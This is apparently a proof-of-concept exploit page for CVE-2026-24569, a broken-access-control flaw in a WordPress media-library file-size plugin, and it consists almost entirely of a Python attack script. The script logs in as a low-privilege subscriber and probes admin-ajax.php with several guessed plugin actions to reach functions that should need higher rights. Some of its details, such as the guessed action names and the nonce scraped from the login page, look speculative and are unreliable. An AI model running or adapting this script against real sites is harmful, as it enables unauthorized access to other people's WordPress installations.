CVE-2026-24569 | WordPress Media Library File Size插件缺少授权漏洞

# CVE-2026-24569 PoC - WordPress Media Library File Size Broken Access Control # Affected: media-library-file-size plugin <= 1.6.7 import requests import sys TARGET_URL = "http://target-wordpress-site.com" # Use any low-privilege WordPress account (subscriber role works) USERNAME = "subscriber_user" PASSWORD = "user_password" def get_wordpress_nonce(url): """Extract WordPress nonce for authentication""" response = requests.get(url + "/wp-login.php") if 'wpnonce' in response.text: import re match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', response.text) if match: return match.group(1) return None def exploit_cve_2026_24569(): """Exploit Missing Authorization vulnerability""" session = requests.Session() # Step 1: Login as low-privilege user login_url = f"{TARGET_URL}/wp-login.php" nonce = get_wordpress_nonce(TARGET_URL) login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', '_wpnonce': nonce, 'redirect_to': TARGET_URL } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful as low-privilege user") # Step 2: Trigger the vulnerable endpoint (missing authorization check) # Common vulnerable AJAX action in this plugin vulnerable_actions = [ 'mlfs_get_file_sizes', 'mlfs_scan_media_library', 'media_library_file_size_calculate' ] for action in vulnerable_actions: exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { 'action': action, 'nonce': nonce # May not be required due to missing authorization } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200 and len(response.text) > 0: print(f"[+] Vulnerable endpoint found: {action}") print(f"[+] Response: {response.text[:500]}") return True print("[-] No vulnerable endpoints found") return False if __name__ == "__main__": exploit_cve_2026_24569()